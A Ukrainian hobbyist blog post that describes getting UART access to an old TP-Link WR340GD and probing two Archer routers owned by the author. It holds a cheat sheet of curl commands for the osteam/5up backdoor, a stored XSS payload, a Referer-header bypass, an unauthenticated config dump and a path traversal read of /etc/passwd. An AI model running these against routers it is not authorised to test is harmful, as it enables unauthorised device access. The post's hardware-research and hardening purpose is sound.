Як я хакнув роутер замість прибирання, або UART за недільний день
Практичний досвід отримання доступу до bootrom через UART на TP-Link TL-WR340GD, бекдори на Archer C20 і telnet на весь будинок
Про автора і кому буде цікава ця стаття
Привіт, мене звати Олександр. Я електронщик-аматор та мамкин хакер, роблю різні саморобки і час від часу пишу про це на DOU та в свому блозі. Попередні статті теж містять практичний досвід, метод втика та створення чергово «велосипеда», де я теж наступив на всі можливі граблі. Цього разу граблі, що правда як на мене — теж цікаві.

Ця стаття зайде тим, хто цікавиться embedded-системами, IoT, hardware hacking, або просто хоче зрозуміти що відбувається всередині звичайного домашнього роутера. Технічний рівень — середній: знадобиться паяльник, USB-TTL адаптер і базове розуміння Linux.
Неділя пішла не за планом
Сьогодні неділя, а це означає прибирання в кімнаті. Пил, і знов я залип, перебираючи коробки. Око сканувало хлам на предмет кандидатів у смітник, і ось на очі попався роутер — TP-Link TL-WR340GD, версія 3.1, 2010 року випуску. Чіп Atheros AR2317, 4MB flash, 16MB RAM — за сучасними мірками це навіть не мікрохвильовка, це термометр для мікрохвильовки.
Хм... гарний кандидат, але коробочка може згодитись для якогось проекту. Бігом за викруткою і розібрати. О, може бути донором феритове кільце, кварц, кондери... хоча навіть то все це сміття, йього хламу повно і так. Тільки кільце заберу, можна зробити підсилювач. Ну, може, роз’єм входу живлення ще випаяти це корисна штука. О, ще BR B772, є H1646DG — ізолювальний трансформатор для Ethernet (10/100 Base-T), гальванічна розв’язка до 1500В. І H2001DG, та мені навряд чи вони знадобляться. О, я ж хотів феном навчитись паяти, треба феном чи ні...
Думки швидко проносились, і СТОП , йопта, я ж типу мамкін хакер, embedded-панк, а що якщо його хакнути? Посміхаюсь та потираю руки бо схоже намічається, гарна пригода... Пилосос відклався на потім. Шалость почалась.
Знайомство з платою: AR2317 і загадковий J12

Плата виглядала солідно для свого віку, споглядання таких штук певний медитативний процес. Atheros AR2317 в центрі, це одночасно і процесор (MIPS
Але найцікавіше це ряд із чотирьох незапаяних майданчиків біля мітки J12. Хм. UART?

Загуглив специфікацію і так, типовий UART header у TP-Link роутерів тих часів. Теоретично можна підключитись, побачити bootloader, отримати shell. Я вже бачив себе крутим хакером з голлівудського фільму — чорний термінал, зелені букви, «access granted».
Реальність виявилась трохи іншою. Але про це далі.
Розпіновка J12 стандартна для TP-Link того покоління:
Pin 1 (від напису J12) → VCC 3.3V
Pin 2 → GND
Pin 3 → RX (роз’єм)
Pin 4 → TX (через дротик до паду AR2317)
VCC визначив мультиметром — стабільні 3.3V в спокої. GND — по continuity до корпусу. Два піни, що залишились, поки загадка.
Паяємо роз’єм: перший контакт з платою
Майданчики J12 порожні і пін-хедер треба впаяти самостійно. TP-Link залишив їх незапаяними в серійному виробництві бо нащо звичайному користувачу serial console.
Дістав паяльник, припій, і за кілька хвилин на платі красувався чорний

Підключення USB-TTL адаптера — важливий момент: тільки 3.3V! Якщо у вас адаптер на 5V — не підключайте, спалите чіп. На більшості сучасних адаптерів є перемикач або джампер. Перевірте двічі.
USB-TTL адаптер → J12 роутера
GND → Pin 2 (GND)
RX адаптера → Pin 3 або 4 (TX роутера)
TX адаптера → Pin 4 або 3 (RX роутера)
VCC → НЕ підключати!
brltty: несподіваний ворог
Підключив адаптер, відкрив термінал і спробував підключитись:
sudo screen /dev/ttyUSB0 115200
[screen is terminating]
Окей. Не так. Перевіряємо що відбувається:
sudo dmesg | tail -20
І ось воно, у виводі повторюється один і той самий патерн:
ch341-uart converter now attached to ttyUSB0 interface 0 claimed by brltty ch341-uart converter now disconnected
Як з’ясувалось brltty це демон для брайлівських дисплеїв для незрячих людей. Чудова програма з благородною метою. Але вона вирішила, що мій CH341 USB-TTL адаптер це саме те обладнання для якого вона існує, і радісно його захоплювала кожного разу при підключенні. Хто взагалі встановив brltty на мій комп’ютер, що то я таке робив? Мабуть якась залежність потягнула при встановленні чогось іншого.
Рішення просте: sudo apt remove brltty
Перепідключив адаптер фізично. Курсор замигав. Вже краще.
Де ж TX? Детективна історія з паяльником
Вмикаю роутер і тиша. Міняю TX/RX місцями все одно тиша. Міняю знову — тиша. Чотири рази поміняв місцями, перезавантажив роутер після кожної зміни — тиша. Спробував різні baudrate: 115200, 9600, 57600, 38400 і тиша на всіх.
Починаю думати. Беру мультиметр і починаю продзвонювати, виявляється, на цій моделі TX пін на J12 header фізично не підключений до чіпа, просто не розпаяна доріжка в серійному виробництві. Є майданчики, є роз’єм, але TX просто нікуди не веде.
Рішення: треба знайти тестовий пад TX безпосередньо на чіпі AR2317 або поруч з ним, і припаяти тонкий дротик до Pin 3 або Pin 4 на J12.
Перевертаю плату. Під AR2317, якщо уважно дивитись, є невеличкий ізольований майданчик може це і є той самий TX вихід. Розміром приблизно з цятку від маркера. Продзвонюю і так це воно, просто каплею припою зєднав і вийшло.

Вмикаю роутер і одразу...
Підбір baudrate: гра в вгадайку
Є сигнал! Але замість тексту каша з символів:
����`�a��퀠1�!���5��5�����1����1i�1���%��1������q

Це означає що підключення є, але baudrate не той. Перебираю по черзі, щоразу перезавантажуючи роутер:
sudo screen /dev/ttyUSB0 115200 → каша
sudo screen /dev/ttyUSB0 9600 → каша
sudo screen /dev/ttyUSB0 57600 → каша
sudo screen /dev/ttyUSB0 38400 → ...
На 38400 термінал ожив. І одразу сюрприз — це не U-Boot який я очікував побачити на Atheros роутері.
VxWorks замість U-Boot: сюрприз від 2010 року
Замість стандартного Linux bootloader з’явився зовсім інший bootrom:
AR2315 rev 0×00000090 startup...
Software Platform for ARM
Copyright©
Creation date: Nov 2 2010, 16:46:17
Press CTRL-B to enter bootmenu...
Boot Menu:
1: Download application program
2: Modify Bootrom password
3: Exit the menu
4: Reboot
5: User commond line
Enter your choice(1-4):
«Software Platform for ARM» від TP-Link Technologies,

Debug menu: три команди і одна таємниця
Жму 5 — «User command line». З’являється запрошення:
Please Input debug cmd:
Вводжу help:
command description
-------------------------------
help print all commands
task print task stack
e exit
Три команди. Негусто. Але є ще одна — недокументована. Вводжу ?, і роутер... перезавантажується. Просто перезавантажується без попередження.

А якщо трохи нестандартно?
Enter your choice(1-4):B gEndPacketDebug2 open!
Ого! B відкрило якийсь debug режим — gEndPacketDebug2 open! 😄
Це недокументована команда!
😄 d показало статистику mbufs — мережеві буфери VxWorks! Це внутрішня діагностика мережевого стеку.
Продовжую перебирати літери і ось результат — повна карта прихованих команд bootrom меню:
n— netstat (мережеві з’єднання)d— mbuf статистикаi— ifconfig (мережеві інтерфейси)r— таблиця маршрутизаціїs— socket статистикаp— дамп пам’ятіm— heap memoryk— список задач VxWorks (ps aux по-VxWorks)g— IGMP групиa— ARP таблицяA— gEndPacketDebug1 open!B— gEndPacketDebug2 open!Це міг би бути чудовий матеріал для статті, типу — прихований діагностичний інтерфейс VxWorks bootrom якого немає в жодній документації. Але знов в коментарях напишуть
Спроба зламати по-людськи: HTTP бекдори і CVE
Поки паяльник охолоджувався, я вирішив спробувати більш цивілізований шлях — може є якийсь HTTP бекдор і можна було обійтись без всього цього пірнання у плату? Загуглив відомі вразливості TP-Link WR340G.
Бекдор osteam/5up: перше розчарування
Знайшов згадки про відомий бекдор TP-Link — спеціальний аккаунт osteam з паролем 5up і секретний URL для доступу до командного рядка Linux прямо через веб:
curl -u osteam:5up "http://192.168.1.10/userRpmNatDebugRpm26525557/linux_cmdline.html"
Відповідь: 403 Forbidden — потім 501 Not Implemented. Пошукав детальніше і знайшов де польська спільнота безпеки підтвердила: WR340G та WR543G до цього бекдору не вразливі. Не та модель. Перше розчарування.
start_art.html: TFTP бекдор для заводського тестування
Наступна ціль в нас start_art.html, сторінка запуску ART (Atheros Radio Test) утиліти. На деяких моделях TP-Link вона запускала TFTP клієнт який тягнув файл nart.out з локальної мережі і виконував його з правами root. Звучить цікаво!
curl -u admin:admin «192.168.1.10/userRpm/start_art.html»
Відповідь: 501 Not Implemented. Файлу в прошивці просто немає. Версія 4.7.11 Build 101102 — або ніколи не мала цієї сторінки, або TP-Link прибрав її ще до мого роутера. Друге розчарування.
Stored XSS: є, але марний
Exploit-db #34583 описує Stored XSS через параметр hostName в налаштуваннях WAN Dynamic IP. Спробував:
curl -u admin:admin «192.168.1.10/...micIpCfgRpm.htm?hostName=<script>alert(1)</script>&mtu=1500&Save=Save»
І ось тут цікаво — payload справді зберігся в JS масиві відповіді. Але виконати його браузер не дав бо сучасні браузери блокують такі речі, та й сам payload потрапив в рядок масиву а не в виконуваний HTML. Тобто технічно вразливість є, практично для 2024 року це вже не загроза.
Висновок по WR340G: намагався зламати по-людськи, не вийшло. Паяльник виявився єдиним робочим інструментом. Дякую TP-Link за таку архітектурну рішення.
Bonus round: Archer C20 v4 — сусід по мережі
Поки возився з WR340G, під рукою виявився ще один роутер — Archer C20 v4, 2017 року, прошивка 0.9.1 Build 170315. Підключений як основний інтернет-роутер (192.168.1.1:8080). Ну і чому б не перевірити?
osteam/5up + Referer: несподівана реакція
На відміну від WR340G, тут з Archer C20 вийшло цікавіше:
curl -H «Referer: tplinkwifi.net» -u osteam:5up \
«192.168.1.1:8080/...525557/linux_cmdline.html»
→ 500 Internal Server Error
500, а не 404 і не 403! Це означає що сторінка існує, авторизація osteam/5up спрацювала, але сервер впав при спробі виконати команду. Бекдор є, але щось пішло не так — мабуть залежний процес не запущений або файл nart.out відсутній.
Всі варіанти — з параметрами cmd=ls, cmd=id, без параметрів, з різними URL — давали одне і те саме: 500. Бекдор є, але мертвий.
Telnet: зайшли з парадного входу
Перевірив відкриті порти:
nmap -p 23 192.168.1.1 PORT STATE SERVICE 23/tcp open telnet Telnet відкритий! Підключаємось: telnet 192.168.1.1 username: [мій логін] password: [мій пароль] Welcome To Use TP-Link COMMAND-LINE Interface Model. TP-Link(conf)#
Ось так просто. Шукав секретний бекдор з магічними заголовками і прихованими URL, а зайшов через звичайний telnet зі своїм паролем від адмінки. Класика жанру.
CLI дає доступ до конфігурації: wan, lan, wlctl, igmp, dev. Команда dev version повертає версію прошивки, dev serial show — серійний номер.
Telnet відкритий, але провайдер рятує
Перевірив чи telnet доступний ззовні через онлайн сервіс перевірки портів:
Port 23 is closed on [зовнішній IP]
Провайдер або NAT блокує порт 23 ззовні. Тому реального ризику для інтернету немає. Але якщо хтось підключиться до вашого WiFi то матиме повний CLI доступ до роутера. Висновок очевидний: змінюйте дефолтний пароль admin/admin.
Третій підопічний: Archer C64 RU v1.0
Виявилось що в шафі є ще один Archer C64 RU v1.0, прошивка 1.5.8 Build 210609. Резервний роутер, давно не використовувався. Подивимось що там.
Telnet не відповідає взагалі — порт закритий. Зате є luci інтерфейс:
curl -v «192.168.0.1/cgi-bin/luci»
→ 403 Forbidden
Шлях існує. Спробував CVE-2024-57049 — обхід автентифікації через Referer заголовок на /cgi-bin/luci. Endpoint логіну відповідає з кодом 200, але повертає 00005 — невірний пароль. Пароль на цьому роутері змінений і вже не пам’ятаю який.
osteam/5up — 404, бекдора немає. Старий userRpm інтерфейс теж відсутній. C64 2021 року — вже інша архітектура, старі трюки не працюють.
Підсумок по C64: захищений краще за попередників. Telnet закритий, старих бекдорів немає, luci вимагає авторизацію. Прогрес за 10 років очевидний.
Підсумок: еволюція захисту TP-Link за 10 років
Підіб’ємо підсумок нашого ненавмисного порівняльного тесту трьох роутерів різних епох:
- WR340G (2010) — VxWorks bootrom, UART з паяльником, бекдори відсутні або не спрацьовують, XSS не виконується в сучасних браузерах. Єдиний робочий спосіб отримати доступ — паяльник і UART.
- Archer C20 v4 (2017) — telnet відкритий на LAN з тими самими кредами що і веб-інтерфейс, osteam/5up дає 500 (бекдор є але не працює). Реальна вразливість: дефолтний пароль + відкритий telnet.
- Archer C64 (2021) — telnet закритий, старих бекдорів немає, сучасний luci інтерфейс. Найкращий захист з трьох.
Загальний висновок: TP-Link за 10 років суттєво покращив безпеку своїх пристроїв. Але найкращий захист — це все одно зміна дефолтного пароля і регулярне оновлення прошивки.
Пилосос так і стоїть в кутку. Кімната не прибрана. Зате тепер я знаю що всередині трьох роутерів. Ось такі пріоритети.
Технічний довідник для повторення
Що знадобиться
- USB-TTL адаптер на 3.3V (CH340, CP2102, FT232 — будь-який, головне 3.3V)
- Паяльник і припій (для впаювання header і дротика TX)
4-пінний pin header 2.54mm- Тонкий дріт (0.1-0.2mm) для підключення TX паду
- Linux з screen або minicom
Покрокова інструкція
# 1. Видалити brltty якщо є
sudo apt remove brltty
# 2. Перевірити що адаптер видно
dmesg | grep ttyUSB
# 3. Підключити: GND-GND, RX адаптера → TX роутера
# VCC не підключати!
# 4. Відкрити термінал з baudrate 38400
sudo screen /dev/ttyUSB0 38400
# 5. Увімкнути роутер і натиснути CTRL-B для входу в меню
Важливі нюанси
- TX пін на J12 не підключений! Потрібно знайти тестовий пад на AR2317 і припаяти дротик
- Baudrate оригінальної прошивки: 38400 (не стандартні 115200)
- Це VxWorks bootrom, не U-Boot і не стандартний Linux
- Для передачі прошивки (пункт 1 меню) потрібен minicom з підтримкою xmodem
- Telnet на Archer C20 v4 відкритий на LAN — змінюйте пароль!
Корисні інструменти
binwalk — інструмент для аналізу та реверс-інжинірингу бінарних образів прошивок. Знаходить файлові системи, ядра Linux та інші дані всередині .bin файлів. Незамінний для дослідження IoT та роутерів.
sudo apt install binwalk binwalk firmware.bin
yougetsignal.com/tools/open-ports — онлайн перевірка відкритих портів ззовні. Корисно щоб перевірити чи доступний ваш роутер з інтернету.
Діагностика USB-TTL підключення
# Знайти порт sudo dmesg | grep ttyUSB ls /dev/ttyUSB* # Якщо minicom каже «Device is locked» sudo rm /var/lock/LCK..ttyUSB0 # Якщо порт зайнятий іншим процесом sudo fuser /dev/ttyUSB0 # показує PID sudo fuser -k /dev/ttyUSB0 # вбиває процес # Підключитись sudo minicom -b 38400 -D /dev/ttyUSB0
Приховані команди VxWorks bootrom (WR340G)
В головному меню bootrom (пункти
n — netstat (активні мережеві з’єднання) i — ifconfig (мережеві інтерфейси, IP, MAC) r — таблиця маршрутизації a — ARP таблиця d — mbuf статистика (мережеві буфери) s — socket статистика m — heap memory (вільна/зайнята пам’ять) k — список задач VxWorks (аналог ps aux) g — IGMP групи p — дамп пам’яті (hex dump) A — gEndPacketDebug1 open! (пакетний debug) B — gEndPacketDebug2 open! (пакетний debug)
Команда ? з debug menu (пункт 5) — перезавантаження без попередження. Всі інші літери (крім перелічених вище) не дають результату.
HTTP бекдори TP-Link — шпаргалка
# Бекдор osteam/5up (старі моделі) curl -u osteam:5up «192.168.1.1/...525557/linux_cmdline.html» # З Referer заголовком (CVE-2024-57049, Archer C20 новіші версії) curl -H «Referer: tplinkwifi.net» -u osteam:5up \ «192.168.1.1/...525557/linux_cmdline.html» # Telnet (Archer C20 v4, порт 23, LAN тільки) telnet 192.168.1.1 # Config dump без авторизації curl «192.168.1.1/userRpm/config.bin» -o config.bin # Path traversal спроба curl -H «Referer: tplinkwifi.net» -u osteam:5up \ «192.168.1.1/userRpm/../etc/passwd»
Якщо у вас є старий роутер що пилиться в коробці — відкрийте його. Там може бути цікавіше ніж здається. А прибирання зачекає.
Сподобалась стаття? Підписуйтесь на автора, щоб отримувати сповіщення про нові публікації на пошту.
36 коментарів
Додати коментар Підписатись на коментаріВідписатись від коментарів